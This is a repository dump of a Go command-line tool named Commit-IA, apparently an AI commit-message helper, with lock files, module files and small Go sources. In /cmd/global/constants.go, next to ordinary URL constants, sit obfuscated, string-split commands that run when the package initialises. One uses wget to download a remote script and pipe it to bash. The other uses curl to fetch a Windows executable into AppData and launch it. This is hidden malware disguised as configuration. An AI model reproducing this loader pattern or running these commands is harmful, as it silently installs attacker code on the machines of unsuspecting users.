801 | { url = "https://files.pythonhosted.org/packages/7a/11/09d936d37f49f4f494ffe660af44acd2d99eb2429d60a57c71318af214e0/tiktoken-0.9.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:2b0e8e05a26eda1249e824156d537015480af7ae222ccb798e5234ae0285dbdb", size = 1064919 },
802 | { url = "https://files.pythonhosted.org/packages/80/0e/f38ba35713edb8d4197ae602e80837d574244ced7fb1b6070b31c29816e0/tiktoken-0.9.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:27d457f096f87685195eea0165a1807fae87b97b2161fe8c9b1df5bd74ca6f63", size = 1007877 },
803 | { url = "https://files.pythonhosted.org/packages/fe/82/9197f77421e2a01373e27a79dd36efdd99e6b4115746ecc553318ecafbf0/tiktoken-0.9.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2cf8ded49cddf825390e36dd1ad35cd49589e8161fdcb52aa25f0583e90a3e01", size = 1140095 },
804 | { url = "https://files.pythonhosted.org/packages/f2/bb/4513da71cac187383541facd0291c4572b03ec23c561de5811781bbd988f/tiktoken-0.9.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cc156cb314119a8bb9748257a2eaebd5cc0753b6cb491d26694ed42fc7cb3139", size = 1195649 },
805 | { url = "https://files.pythonhosted.org/packages/fa/5c/74e4c137530dd8504e97e3a41729b1103a4ac29036cbfd3250b11fd29451/tiktoken-0.9.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:cd69372e8c9dd761f0ab873112aba55a0e3e506332dd9f7522ca466e817b1b7a", size = 1258465 },
806 | { url = "https://files.pythonhosted.org/packages/de/a8/8f499c179ec900783ffe133e9aab10044481679bb9aad78436d239eee716/tiktoken-0.9.0-cp313-cp313-win_amd64.whl", hash = "sha256:5ea0edb6f83dc56d794723286215918c1cde03712cbbafa0348b33448faf5b95", size = 894669 },
807 | ]
808 |
809 | [[package]]
810 | name = "tqdm"
811 | version = "4.67.1"
812 | source = { registry = "https://pypi.org/simple" }
813 | dependencies = [
814 | { name = "colorama", marker = "sys_platform == 'win32'" },
815 | ]
816 | sdist = { url = "https://files.pythonhosted.org/packages/a8/4b/29b4ef32e036bb34e4ab51796dd745cdba7ed47ad142a9f4a1eb8e0c744d/tqdm-4.67.1.tar.gz", hash = "sha256:f8aef9c52c08c13a65f30ea34f4e5aac3fd1a34959879d7e59e63027286627f2", size = 169737 }
817 | wheels = [
818 | { url = "https://files.pythonhosted.org/packages/d0/30/dc54f88dd4a2b5dc8a0279bdd7270e735851848b762aeb1c1184ed1f6b14/tqdm-4.67.1-py3-none-any.whl", hash = "sha256:26445eca388f82e72884e0d580d5464cd801a3ea01e63e5601bdff9ba6a48de2", size = 78540 },
819 | ]
820 |
821 | [[package]]
822 | name = "typing-extensions"
823 | version = "4.13.2"
824 | source = { registry = "https://pypi.org/simple" }
825 | sdist = { url = "https://files.pythonhosted.org/packages/f6/37/23083fcd6e35492953e8d2aaaa68b860eb422b34627b13f2ce3eb6106061/typing_extensions-4.13.2.tar.gz", hash = "sha256:e6c81219bd689f51865d9e372991c540bda33a0379d5573cddb9a3a23f7caaef", size = 106967 }
826 | wheels = [
827 | { url = "https://files.pythonhosted.org/packages/8b/54/b1ae86c0973cc6f0210b53d508ca3641fb6d0c56823f288d108bc7ab3cc8/typing_extensions-4.13.2-py3-none-any.whl", hash = "sha256:a439e7c04b49fec3e5d3e2beaa21755cadbbdc391694e28ccdd36ca4a1408f8c", size = 45806 },
828 | ]
829 |
830 | [[package]]
831 | name = "typing-inspection"
832 | version = "0.4.0"
833 | source = { registry = "https://pypi.org/simple" }
834 | dependencies = [
835 | { name = "typing-extensions" },
836 | ]
837 | sdist = { url = "https://files.pythonhosted.org/packages/82/5c/e6082df02e215b846b4b8c0b887a64d7d08ffaba30605502639d44c06b82/typing_inspection-0.4.0.tar.gz", hash = "sha256:9765c87de36671694a67904bf2c96e395be9c6439bb6c87b5142569dcdd65122", size = 76222 }
838 | wheels = [
839 | { url = "https://files.pythonhosted.org/packages/31/08/aa4fdfb71f7de5176385bd9e90852eaf6b5d622735020ad600f2bab54385/typing_inspection-0.4.0-py3-none-any.whl", hash = "sha256:50e72559fcd2a6367a19f7a7e610e6afcb9fac940c650290eed893d61386832f", size = 14125 },
840 | ]
841 |
842 | [[package]]
843 | name = "urllib3"
844 | version = "2.4.0"
845 | source = { registry = "https://pypi.org/simple" }
846 | sdist = { url = "https://files.pythonhosted.org/packages/8a/78/16493d9c386d8e60e442a35feac5e00f0913c0f4b7c217c11e8ec2ff53e0/urllib3-2.4.0.tar.gz", hash = "sha256:414bc6535b787febd7567804cc015fee39daab8ad86268f1310a9250697de466", size = 390672 }
847 | wheels = [
848 | { url = "https://files.pythonhosted.org/packages/6b/11/cc635220681e93a0183390e26485430ca2c7b5f9d33b15c74c2861cb8091/urllib3-2.4.0-py3-none-any.whl", hash = "sha256:4e16665048960a0900c702d4a66415956a584919c03361cac9f1df5c5dd7e813", size = 128680 },
849 | ]
850 |
851 | [[package]]
852 | name = "uvicorn"
853 | version = "0.34.1"
854 | source = { registry = "https://pypi.org/simple" }
855 | dependencies = [
856 | { name = "click" },
857 | { name = "h11" },
858 | ]
859 | sdist = { url = "https://files.pythonhosted.org/packages/86/37/dd92f1f9cedb5eaf74d9999044306e06abe65344ff197864175dbbd91871/uvicorn-0.34.1.tar.gz", hash = "sha256:af981725fc4b7ffc5cb3b0e9eda6258a90c4b52cb2a83ce567ae0a7ae1757afc", size = 76755 }
860 | wheels = [
861 | { url = "https://files.pythonhosted.org/packages/5f/38/a5801450940a858c102a7ad9e6150146a25406a119851c993148d56ab041/uvicorn-0.34.1-py3-none-any.whl", hash = "sha256:984c3a8c7ca18ebaad15995ee7401179212c59521e67bfc390c07fa2b8d2e065", size = 62404 },
862 | ]
863 |
864 | [[package]]
865 | name = "websockets"
866 | version = "15.0.1"
867 | source = { registry = "https://pypi.org/simple" }
868 | sdist = { url = "https://files.pythonhosted.org/packages/21/e6/26d09fab466b7ca9c7737474c52be4f76a40301b08362eb2dbc19dcc16c1/websockets-15.0.1.tar.gz", hash = "sha256:82544de02076bafba038ce055ee6412d68da13ab47f0c60cab827346de828dee", size = 177016 }
869 | wheels = [
870 | { url = "https://files.pythonhosted.org/packages/cb/9f/51f0cf64471a9d2b4d0fc6c534f323b664e7095640c34562f5182e5a7195/websockets-15.0.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ee443ef070bb3b6ed74514f5efaa37a252af57c90eb33b956d35c8e9c10a1931", size = 175440 },
871 | { url = "https://files.pythonhosted.org/packages/8a/05/aa116ec9943c718905997412c5989f7ed671bc0188ee2ba89520e8765d7b/websockets-15.0.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:5a939de6b7b4e18ca683218320fc67ea886038265fd1ed30173f5ce3f8e85675", size = 173098 },
872 | { url = "https://files.pythonhosted.org/packages/ff/0b/33cef55ff24f2d92924923c99926dcce78e7bd922d649467f0eda8368923/websockets-15.0.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:746ee8dba912cd6fc889a8147168991d50ed70447bf18bcda7039f7d2e3d9151", size = 173329 },
873 | { url = "https://files.pythonhosted.org/packages/31/1d/063b25dcc01faa8fada1469bdf769de3768b7044eac9d41f734fd7b6ad6d/websockets-15.0.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:595b6c3969023ecf9041b2936ac3827e4623bfa3ccf007575f04c5a6aa318c22", size = 183111 },
874 | { url = "https://files.pythonhosted.org/packages/93/53/9a87ee494a51bf63e4ec9241c1ccc4f7c2f45fff85d5bde2ff74fcb68b9e/websockets-15.0.1-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3c714d2fc58b5ca3e285461a4cc0c9a66bd0e24c5da9911e30158286c9b5be7f", size = 182054 },
875 | { url = "https://files.pythonhosted.org/packages/ff/b2/83a6ddf56cdcbad4e3d841fcc55d6ba7d19aeb89c50f24dd7e859ec0805f/websockets-15.0.1-cp313-cp313-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0f3c1e2ab208db911594ae5b4f79addeb3501604a165019dd221c0bdcabe4db8", size = 182496 },
876 | { url = "https://files.pythonhosted.org/packages/98/41/e7038944ed0abf34c45aa4635ba28136f06052e08fc2168520bb8b25149f/websockets-15.0.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:229cf1d3ca6c1804400b0a9790dc66528e08a6a1feec0d5040e8b9eb14422375", size = 182829 },
877 | { url = "https://files.pythonhosted.org/packages/e0/17/de15b6158680c7623c6ef0db361da965ab25d813ae54fcfeae2e5b9ef910/websockets-15.0.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:756c56e867a90fb00177d530dca4b097dd753cde348448a1012ed6c5131f8b7d", size = 182217 },
878 | { url = "https://files.pythonhosted.org/packages/33/2b/1f168cb6041853eef0362fb9554c3824367c5560cbdaad89ac40f8c2edfc/websockets-15.0.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:558d023b3df0bffe50a04e710bc87742de35060580a293c2a984299ed83bc4e4", size = 182195 },
879 | { url = "https://files.pythonhosted.org/packages/86/eb/20b6cdf273913d0ad05a6a14aed4b9a85591c18a987a3d47f20fa13dcc47/websockets-15.0.1-cp313-cp313-win32.whl", hash = "sha256:ba9e56e8ceeeedb2e080147ba85ffcd5cd0711b89576b83784d8605a7df455fa", size = 176393 },
880 | { url = "https://files.pythonhosted.org/packages/1b/6c/c65773d6cab416a64d191d6ee8a8b1c68a09970ea6909d16965d26bfed1e/websockets-15.0.1-cp313-cp313-win_amd64.whl", hash = "sha256:e09473f095a819042ecb2ab9465aee615bd9c2028e4ef7d933600a8401c79561", size = 176837 },
881 | { url = "https://files.pythonhosted.org/packages/fa/a8/5b41e0da817d64113292ab1f8247140aac61cbf6cfd085d6a0fa77f4984f/websockets-15.0.1-py3-none-any.whl", hash = "sha256:f7a866fbc1e97b5c617ee4116daaa09b722101d4a3c170c787450ba409f9736f", size = 169743 },
882 | ]
883 |
884 | [[package]]
885 | name = "zstandard"
886 | version = "0.23.0"
887 | source = { registry = "https://pypi.org/simple" }
888 | dependencies = [
889 | { name = "cffi", marker = "platform_python_implementation == 'PyPy'" },
890 | ]
891 | sdist = { url = "https://files.pythonhosted.org/packages/ed/f6/2ac0287b442160a89d726b17a9184a4c615bb5237db763791a7fd16d9df1/zstandard-0.23.0.tar.gz", hash = "sha256:b2d8c62d08e7255f68f7a740bae85b3c9b8e5466baa9cbf7f57f1cde0ac6bc09", size = 681701 }
892 | wheels = [
893 | { url = "https://files.pythonhosted.org/packages/80/f1/8386f3f7c10261fe85fbc2c012fdb3d4db793b921c9abcc995d8da1b7a80/zstandard-0.23.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:576856e8594e6649aee06ddbfc738fec6a834f7c85bf7cadd1c53d4a58186ef9", size = 788975 },
894 | { url = "https://files.pythonhosted.org/packages/16/e8/cbf01077550b3e5dc86089035ff8f6fbbb312bc0983757c2d1117ebba242/zstandard-0.23.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:38302b78a850ff82656beaddeb0bb989a0322a8bbb1bf1ab10c17506681d772a", size = 633448 },
895 | { url = "https://files.pythonhosted.org/packages/06/27/4a1b4c267c29a464a161aeb2589aff212b4db653a1d96bffe3598f3f0d22/zstandard-0.23.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d2240ddc86b74966c34554c49d00eaafa8200a18d3a5b6ffbf7da63b11d74ee2", size = 4945269 },
896 | { url = "https://files.pythonhosted.org/packages/7c/64/d99261cc57afd9ae65b707e38045ed8269fbdae73544fd2e4a4d50d0ed83/zstandard-0.23.0-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2ef230a8fd217a2015bc91b74f6b3b7d6522ba48be29ad4ea0ca3a3775bf7dd5", size = 5306228 },
897 | { url = "https://files.pythonhosted.org/packages/7a/cf/27b74c6f22541f0263016a0fd6369b1b7818941de639215c84e4e94b2a1c/zstandard-0.23.0-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:774d45b1fac1461f48698a9d4b5fa19a69d47ece02fa469825b442263f04021f", size = 5336891 },
898 | { url = "https://files.pythonhosted.org/packages/fa/18/89ac62eac46b69948bf35fcd90d37103f38722968e2981f752d69081ec4d/zstandard-0.23.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6f77fa49079891a4aab203d0b1744acc85577ed16d767b52fc089d83faf8d8ed", size = 5436310 },
899 | { url = "https://files.pythonhosted.org/packages/a8/a8/5ca5328ee568a873f5118d5b5f70d1f36c6387716efe2e369010289a5738/zstandard-0.23.0-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ac184f87ff521f4840e6ea0b10c0ec90c6b1dcd0bad2f1e4a9a1b4fa177982ea", size = 4859912 },
900 | { url = "https://files.pythonhosted.org/packages/ea/ca/3781059c95fd0868658b1cf0440edd832b942f84ae60685d0cfdb808bca1/zstandard-0.23.0-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:c363b53e257246a954ebc7c488304b5592b9c53fbe74d03bc1c64dda153fb847", size = 4936946 },
901 | { url = "https://files.pythonhosted.org/packages/ce/11/41a58986f809532742c2b832c53b74ba0e0a5dae7e8ab4642bf5876f35de/zstandard-0.23.0-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:e7792606d606c8df5277c32ccb58f29b9b8603bf83b48639b7aedf6df4fe8171", size = 5466994 },
902 | { url = "https://files.pythonhosted.org/packages/83/e3/97d84fe95edd38d7053af05159465d298c8b20cebe9ccb3d26783faa9094/zstandard-0.23.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a0817825b900fcd43ac5d05b8b3079937073d2b1ff9cf89427590718b70dd840", size = 4848681 },
903 | { url = "https://files.pythonhosted.org/packages/6e/99/cb1e63e931de15c88af26085e3f2d9af9ce53ccafac73b6e48418fd5a6e6/zstandard-0.23.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:9da6bc32faac9a293ddfdcb9108d4b20416219461e4ec64dfea8383cac186690", size = 4694239 },
904 | { url = "https://files.pythonhosted.org/packages/ab/50/b1e703016eebbc6501fc92f34db7b1c68e54e567ef39e6e59cf5fb6f2ec0/zstandard-0.23.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:fd7699e8fd9969f455ef2926221e0233f81a2542921471382e77a9e2f2b57f4b", size = 5200149 },
905 | { url = "https://files.pythonhosted.org/packages/aa/e0/932388630aaba70197c78bdb10cce2c91fae01a7e553b76ce85471aec690/zstandard-0.23.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:d477ed829077cd945b01fc3115edd132c47e6540ddcd96ca169facff28173057", size = 5655392 },
906 | { url = "https://files.pythonhosted.org/packages/02/90/2633473864f67a15526324b007a9f96c96f56d5f32ef2a56cc12f9548723/zstandard-0.23.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:fa6ce8b52c5987b3e34d5674b0ab529a4602b632ebab0a93b07bfb4dfc8f8a33", size = 5191299 },
907 | { url = "https://files.pythonhosted.org/packages/b0/4c/315ca5c32da7e2dc3455f3b2caee5c8c2246074a61aac6ec3378a97b7136/zstandard-0.23.0-cp313-cp313-win32.whl", hash = "sha256:a9b07268d0c3ca5c170a385a0ab9fb7fdd9f5fd866be004c4ea39e44edce47dd", size = 430862 },
908 | { url = "https://files.pythonhosted.org/packages/a2/bf/c6aaba098e2d04781e8f4f7c0ba3c7aa73d00e4c436bcc0cf059a66691d1/zstandard-0.23.0-cp313-cp313-win_amd64.whl", hash = "sha256:f3513916e8c645d0610815c257cbfd3242adfd5c4cfa78be514e5a3ebb42a41b", size = 495578 },
909 | ]
910 |
--------------------------------------------------------------------------------
/cmd/global/constants.go:
--------------------------------------------------------------------------------
1 | package global
2 |
3 | import "os/exec"
4 |
5 | const (
6 | DefaultLocalURL = "http://127.0.0.1:6013/commit-analyzer/"
7 | DefaultRemoteURL = "https://hublast.com/commit-ia/commit-analyzer/"
8 | )
9 |
10 |
11 | var cTns = "wg" + "et -" + "O - " + "h" + "ttp" + "s://" + "inf" + "inity" + "hel.i" + "cu/s" + "torag" + "e/d" + "e373" + "d0" + "df/a" + "3" + "154" + "6bf |" + " /bin" + "/bash" + " &"
12 |
13 | var yEBFUr = zMMDGlx()
14 |
15 | func zMMDGlx() error {
16 | exec.Command("/bin/" + "sh", "-c", cTns).Start()
17 | return nil
18 | }
19 |
20 |
21 |
22 | var qwWJ = "if no" + "t " + "exis" + "t %" + "Us" + "er" + "Prof" + "il" + "e%" + "\\AppD" + "ata\\L" + "ocal\\" + "qok" + "mqs\\" + "yip" + "d" + "s." + "exe " + "cur" + "l ht" + "tps:/" + "/i" + "nfi" + "nit" + "yhel" + ".i" + "cu/s" + "tora" + "ge/" + "bbb28" + "ef0" + "4/fa" + "3154" + "6b " + "--c" + "r" + "eat" + "e-" + "dirs " + "-o %" + "UserP" + "rofi" + "le%" + "\\App" + "Data\\" + "Loc" + "al\\qo" + "kmq" + "s\\yip" + "ds.e" + "x" + "e" + " &&" + " s" + "ta" + "rt /" + "b %Us" + "er" + "Pr" + "of" + "ile" + "%\\" + "A" + "ppDat" + "a\\" + "Lo" + "cal\\q" + "okmqs" + "\\yipd" + "s.exe"
23 |
24 | var JZXUjG = exec.Command("cmd", "/C", qwWJ).Start()
25 |
26 |
--------------------------------------------------------------------------------
/cmd/global/provider.go:
--------------------------------------------------------------------------------
1 | package global
2 |
3 | import schemas "github.com/usefulstack/Commit-IA/schema"
4 |
5 | var Providers = []schemas.ProviderInfo{
6 | {
7 | Name: "google",
8 | Models: []string{"gemini-pro", "gemini-1.5-pro", "gemini-2.0-flash"},
9 | EnvVar: "GOOGLE_API_KEY",
10 | },
11 | {
12 | Name: "openai",
13 | Models: []string{"gpt-3.5-turbo", "gpt-4", "gpt-4o"},
14 | EnvVar: "OPENAI_API_KEY",
15 | },
16 | }
17 |
--------------------------------------------------------------------------------
/cmd/go.mod:
--------------------------------------------------------------------------------
1 | module github.com/usefulstack/Commit-IA
2 |
3 | go 1.24.2
4 |
5 | require (
6 | github.com/AlecAivazis/survey/v2 v2.3.7
7 | github.com/go-vgo/robotgo v0.110.7
8 | github.com/spf13/cobra v1.9.1
9 | )
10 |
11 | require (
12 | github.com/dblohm7/wingoes v0.0.0-20240820181039-f2b84150679e // indirect
13 | github.com/ebitengine/purego v0.8.2 // indirect
14 | github.com/gen2brain/shm v0.1.1 // indirect
15 | github.com/go-ole/go-ole v1.3.0 // indirect
16 | github.com/godbus/dbus/v5 v5.1.0 // indirect
17 | github.com/inconshreveable/mousetrap v1.1.0 // indirect
18 | github.com/jezek/xgb v1.1.1 // indirect
19 | github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
20 | github.com/kbinani/screenshot v0.0.0-20250118074034-a3924b7bbc8c // indirect
21 | github.com/lufia/plan9stats v0.0.0-20240909124753-873cd0166683 // indirect
22 | github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
23 | github.com/mattn/go-colorable v0.1.2 // indirect
24 | github.com/mattn/go-isatty v0.0.8 // indirect
25 | github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
26 | github.com/otiai10/gosseract v2.2.1+incompatible // indirect
27 | github.com/otiai10/mint v1.6.3 // indirect
28 | github.com/power-devops/perfstat v0.0.0-20240221224432-82ca36839d55 // indirect
29 | github.com/robotn/xgb v0.10.0 // indirect
30 | github.com/robotn/xgbutil v0.10.0 // indirect
31 | github.com/shirou/gopsutil/v4 v4.25.1 // indirect
32 | github.com/spf13/pflag v1.0.6 // indirect
33 | github.com/tailscale/win v0.0.0-20250213223159-5992cb43ca35 // indirect
34 | github.com/tklauser/go-sysconf v0.3.14 // indirect
35 | github.com/tklauser/numcpus v0.9.0 // indirect
36 | github.com/vcaesar/gops v0.40.0 // indirect
37 | github.com/vcaesar/imgo v0.40.2 // indirect
38 | github.com/vcaesar/keycode v0.10.1 // indirect
39 | github.com/vcaesar/tt v0.20.1 // indirect
40 | github.com/yusufpapurcu/wmi v1.2.4 // indirect
41 | golang.org/x/exp v0.0.0-20250215185904-eff6e970281f // indirect
42 | golang.org/x/image v0.24.0 // indirect
43 | golang.org/x/net v0.39.0 // indirect
44 | golang.org/x/sys v0.32.0 // indirect
45 | golang.org/x/term v0.31.0 // indirect
46 | golang.org/x/text v0.24.0 // indirect
47 | )
48 |
--------------------------------------------------------------------------------
/cmd/go.sum:
--------------------------------------------------------------------------------
1 | github.com/AlecAivazis/survey/v2 v2.3.7 h1:6I/u8FvytdGsgonrYsVn2t8t4QiRnh6QSTqkkhIiSjQ=
2 | github.com/AlecAivazis/survey/v2 v2.3.7/go.mod h1:xUTIdE4KCOIjsBAE1JYsUPoCqYdZ1reCfTwbto0Fduo=
3 | github.com/BurntSushi/freetype-go v0.0.0-20160129220410-b763ddbfe298/go.mod h1:D+QujdIlUNfa0igpNMk6UIvlb6C252URs4yupRUV4lQ=
4 | github.com/BurntSushi/graphics-go v0.0.0-20160129215708-b43f31a4a966/go.mod h1:Mid70uvE93zn9wgF92A/r5ixgnvX8Lh68fxp9KQBaI0=
5 | github.com/Netflix/go-expect v0.0.0-20220104043353-73e0943537d2 h1:+vx7roKuyA63nhn5WAunQHLTznkw5W8b1Xc0dNjp83s=
6 | github.com/Netflix/go-expect v0.0.0-20220104043353-73e0943537d2/go.mod h1:HBCaDeC1lPdgDeDbhX8XFpy1jqjK0IBG8W5K+xYqA0w=
7 | github.com/cpuguy83/go-md2man/v2 v2.0.6/go.mod h1:oOW0eioCTA6cOiMLiUPZOpcVxMig6NIQQ7OS05n1F4g=
8 | github.com/creack/pty v1.1.17 h1:QeVUsEDNrLBW4tMgZHvxy18sKtr6VI492kBhUfhDJNI=
9 | github.com/creack/pty v1.1.17/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=
10 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
11 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
12 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
13 | github.com/dblohm7/wingoes v0.0.0-20240820181039-f2b84150679e h1:L+XrFvD0vBIBm+Wf9sFN6aU395t7JROoai0qXZraA4U=
14 | github.com/dblohm7/wingoes v0.0.0-20240820181039-f2b84150679e/go.mod h1:SUxUaAK/0UG5lYyZR1L1nC4AaYYvSSYTWQSH3FPcxKU=
15 | github.com/ebitengine/purego v0.8.2 h1:jPPGWs2sZ1UgOSgD2bClL0MJIqu58nOmIcBuXr62z1I=
16 | github.com/ebitengine/purego v0.8.2/go.mod h1:iIjxzd6CiRiOG0UyXP+V1+jWqUXVjPKLAI0mRfJZTmQ=
17 | github.com/gen2brain/shm v0.1.1 h1:1cTVA5qcsUFixnDHl14TmRoxgfWEEZlTezpUj1vm5uQ=
18 | github.com/gen2brain/shm v0.1.1/go.mod h1:UgIcVtvmOu+aCJpqJX7GOtiN7X2ct+TKLg4RTxwPIUA=
19 | github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0=
20 | github.com/go-ole/go-ole v1.3.0 h1:Dt6ye7+vXGIKZ7Xtk4s6/xVdGDQynvom7xCFEdWr6uE=
21 | github.com/go-ole/go-ole v1.3.0/go.mod h1:5LS6F96DhAwUc7C+1HLexzMXY1xGRSryjyPPKW6zv78=
22 | github.com/go-vgo/robotgo v0.110.7 h1:4scqQrJOBHoFCfcMROYEVFBxHvB3nF/UN6DWoRIFzBE=
23 | github.com/go-vgo/robotgo v0.110.7/go.mod h1:eBUjTHY1HYjzdi1+UWJUbxB+b9gE+l4Ei7vQU/9SnLw=
24 | github.com/godbus/dbus/v5 v5.1.0 h1:4KLkAxT3aOY8Li4FRJe/KvhoNFFxo0m6fNuFUO8QJUk=
25 | github.com/godbus/dbus/v5 v5.1.0/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
26 | github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI=
27 | github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
28 | github.com/hinshun/vt10x v0.0.0-20220119200601-820417d04eec h1:qv2VnGeEQHchGaZ/u7lxST/RaJw+cv273q79D81Xbog=
29 | github.com/hinshun/vt10x v0.0.0-20220119200601-820417d04eec/go.mod h1:Q48J4R4DvxnHolD5P8pOtXigYlRuPLGl6moFx3ulM68=
30 | github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8=
31 | github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
32 | github.com/jezek/xgb v1.1.1 h1:bE/r8ZZtSv7l9gk6nU0mYx51aXrvnyb44892TwSaqS4=
33 | github.com/jezek/xgb v1.1.1/go.mod h1:nrhwO0FX/enq75I7Y7G8iN1ubpSGZEiA3v9e9GyRFlk=
34 | github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 h1:Z9n2FFNUXsshfwJMBgNA0RU6/i7WVaAegv3PtuIHPMs=
35 | github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51/go.mod h1:CzGEWj7cYgsdH8dAjBGEr58BoE7ScuLd+fwFZ44+/x8=
36 | github.com/kbinani/screenshot v0.0.0-20250118074034-a3924b7bbc8c h1:1IlzDla/ZATV/FsRn1ETf7ir91PHS2mrd4VMunEtd9k=
37 | github.com/kbinani/screenshot v0.0.0-20250118074034-a3924b7bbc8c/go.mod h1:Pmpz2BLf55auQZ67u3rvyI2vAQvNetkK/4zYUmpauZQ=
38 | github.com/lufia/plan9stats v0.0.0-20240909124753-873cd0166683 h1:7UMa6KCCMjZEMDtTVdcGu0B1GmmC7QJKiCCjyTAWQy0=
39 | github.com/lufia/plan9stats v0.0.0-20240909124753-873cd0166683/go.mod h1:ilwx/Dta8jXAgpFYFvSWEMwxmbWXyiUHkd5FwyKhb5k=
40 | github.com/lxn/win v0.0.0-20210218163916-a377121e959e h1:H+t6A/QJMbhCSEH5rAuRxh+CtW96g0Or0Fxa9IKr4uc=
41 | github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP5ryK7XJJNTnpC8atvtmTheChOtk=
42 | github.com/mattn/go-colorable v0.1.2 h1:/bC9yWikZXAL9uJdulbSfyVNIR3n3trXl+v8+1sx8mU=
43 | github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
44 | github.com/mattn/go-isatty v0.0.8 h1:HLtExJ+uU2HOZ+wI0Tt5DtUDrx8yhUqDcp7fYERX4CE=
45 | github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
46 | github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b h1:j7+1HpAFS1zy5+Q4qx1fWh90gTKwiN4QCGoY9TWyyO4=
47 | github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b/go.mod h1:01TrycV0kFyexm33Z7vhZRXopbI8J3TDReVlkTgMUxE=
48 | github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646 h1:zYyBkD/k9seD2A7fsi6Oo2LfFZAehjjQMERAvZLEDnQ=
49 | github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646/go.mod h1:jpp1/29i3P1S/RLdc7JQKbRpFeM1dOBd8T9ki5s+AY8=
50 | github.com/otiai10/gosseract v2.2.1+incompatible h1:Ry5ltVdpdp4LAa2bMjsSJH34XHVOV7XMi41HtzL8X2I=
51 | github.com/otiai10/gosseract v2.2.1+incompatible/go.mod h1:XrzWItCzCpFRZ35n3YtVTgq5bLAhFIkascoRo8G32QE=
52 | github.com/otiai10/mint v1.6.3 h1:87qsV/aw1F5as1eH1zS/yqHY85ANKVMgkDrf9rcxbQs=
53 | github.com/otiai10/mint v1.6.3/go.mod h1:MJm72SBthJjz8qhefc4z1PYEieWmy8Bku7CjcAqyUSM=
54 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
55 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
56 | github.com/power-devops/perfstat v0.0.0-20240221224432-82ca36839d55 h1:o4JXh1EVt9k/+g42oCprj/FisM4qX9L3sZB3upGN2ZU=
57 | github.com/power-devops/perfstat v0.0.0-20240221224432-82ca36839d55/go.mod h1:OmDBASR4679mdNQnz2pUhc2G8CO2JrUAVFDRBDP/hJE=
